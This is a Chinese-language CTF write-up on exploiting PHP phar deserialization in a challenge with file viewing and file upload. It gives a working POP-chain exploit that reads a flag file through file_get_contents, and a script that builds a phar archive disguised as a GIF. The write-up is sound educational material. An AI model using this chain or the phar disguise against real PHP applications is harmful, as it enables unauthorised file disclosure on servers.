首页 > 其他分享 >phar-unserilze-md

phar-unserilze-md

时间:2022-10-02 10:59:21浏览次数:52  
标签:function md unserilze file phar source str public


title: phar+unserilze.md
date: 2022-08-22 21:20:01
tags:

打开题目发现在查看文件的时候可以文件读取

这里尝试读取flag.php

1661174525038

文件不存在 。。。

查看index的源代码把

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

这里包含了 base.php

然后我么读取base.php的源代码

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

这里面 还有很多 包含的文件 我们依次弄出来(这里面phar.phar和test1.php是我自己写的)

1661174649935

这里就不贴所有的代码了

把重要的 用到的代码贴出来

先把class.php贴出来吧

<?php

class C1e4r
{
    public $test;
    public $str;

    public function __construct($name)
    {
        $this->str = $name;
    }

    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;

    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }

    public function __toString()
    {
        //phpinfo();
        $content = $this->str['str']->source;
        return $content;
    }

    public function __set($key, $value)
    {
        $this->$key = $value;
    }

    public function _show()
    {
        if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }

    public function __wakeup()
    {
        if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $file;
    public $params;

    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        var_dump($key);
        //phpinfo();
        return $this->get($key);
    }

    public function get($key)
    {
        if (isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

    public function file_get($value)
    {
        //var_dump($value);
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

我们可以看到这里面 是有个file_get_contents函数

所以我们要利用这个函数把flag.php带出来

构造exp

class C1e4r
{
    public $test;
    public $str;

}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str['str']=new Test();
        //$this->source='kkkl';
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params['source']='/var/www/html/f1ag.php';
    }
}
$show=new Show();
$show->source=new Show();
echo base64_encode(serialize($show));

这个exp是没有问题的 但是@!!!!!!一个非常重要的东西 我们这里面没有反序列化 啊 。。。。这是主要的

但是这里面有提示我们 phar了

if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) 

这里也看到并没有禁用phar伪协议 所以我们就要用到phar反序列化了

1661175927539

这里简单的分析一下phar反序列化

phar文件是一个压缩包

利用phar文件会以序列化的形式存储用户自定义的mete-data这一特性

该方法在文件系统函数 参数可控的情况下配合phar://伪协议 可不依赖unserialize()直接进行反序列化操作

这里phar文件结构就不再讲了

可以看下面这篇文章

https://paper.seebug.org/680/#22-demo

这里主要关键点

只用在利用phar伪协议配合文件操作函数(还有一些其他的函数)的时候才能进行反序列化操作

将phar未造成其他格式的文件

php识别phar文件是依靠其文件头的stub来识别的 更确切的来说的依靠

<?php __HALT_COMPILER(); ?>

来识别的。

对前面的内容 和文件的后缀名是没有要求的

所以我们就可以通过在文件头部添加任意文件头+修改后缀名的方式来将phar文件伪装成其他格式的图片

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

现在回到刚才exp的构造

刚才我们说 这里没有unserliaze函数 真能通过phar伪协议来读取phar文件 所以如果没有unserliaze函数的话就不能通过wakeup函数来触发反序列化的链子

这里我们可以做一下演示

。。。。。jb啊 还能触发 。。。。那为啥我没成功。。

1661214203019

。。。。fufufufufufufu

先刷别的把

先把最后的exp弄出来吧

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str=new Show();
    }

}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str['str']=new Test();
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params['source']='/var/www/html/f1ag.php';
    }
}
$C1e4r=new C1e4r();
echo base64_encode(serialize($C1e4r));
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($C1e4r);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

标签:function,md,unserilze,file,phar,source,str,public
From: https://www.cnblogs.com/kkkkl/p/16748384.html

相关文章

  • buu刷题-md
    title:buu刷题.mddate:2022-08-2117:31:28tags:[RoarCTF2019]EasyCalc打开发现真的是个计算器因为当时学了ssti看到这个就第一时间想到了ssti不过看了......
  • DASCTF-X-CBCTF-2022九月挑战赛-md
    title:DASCTF-X-CBCTF-2022几月挑战赛.mddate:2022-09-1820:24:51tags:DASCTFXCBCTF2022九月挑战赛3d小恐龙这道题经过队友的提示才做出来的。。。。。不......
  • 2022第五空间网络安全初赛-md
    title:2022第五空间网络安全初赛.mddate:2022-09-2011:06:40tags:2022第五空间网络安全初赛5_web_BaliYun简单的文件上传刚开始别人出的很快就以为是不同的文件......
  • 2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛-md
    title:2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛.mddate:2022-09-2322:19:12tags:ezRead一眼看到上面可能是存在任意文件读应该是base64加密过后的......
  • DDCTF2019-HOMEBREW-EVENT-LOOP-md
    title:DDCTF2019HOMEBREWEVENTLOOP.mddate:2022-09-2711:42:22tags:[DDCTF2019]homebreweventloop代码审计fromflaskimportFlask,session,request,Re......
  • SWPUCTF2018SimplePHP-md
    title:SWPUCTF2018SimplePHP.mddate:2022-06-2508:06:23tags:登陆进去之后发现上传文件这里我们试着上传一个shell试试发现过滤了应该直接上传shell不可以这......
  • ciscn2019华北赛区Day1-Web1dropbox-md
    title:ciscn2019华北赛区Day1Web1dropbox.mddate:2022-06-2620:56:10tags:进去之后呢看到一个登录框然后注册一个账号进去看到有上传文件的东西然后试试上传一个......
  • BJDCTF2020Cookie-is-so-stable-md
    title:BJDCTF2020Cookieissostable.mddate:2022-07-0718:45:14tags:进去之后发现这个好像ssti我们输入{{1+2}}返回这个应该时ssti了然后我们输入{{"".__c......
  • PHP伪协议总结-md
    title:PHP伪协议总结.mddate:2022-06-2321:35:32tags:php伪协议浅浅学习file://协议利用条件allow_url_fopen:off/onallow_url_include:off/on作用:访问本地......
  • 安洵杯2019——eazy——web-md
    title:安洵杯2019——eazy——web.mddate:2022-10-0210:11:51tags:[安洵杯2019]easy_web绷不住了。。。。看题把上面get这里应该是可以获取文件cmd是什么现在......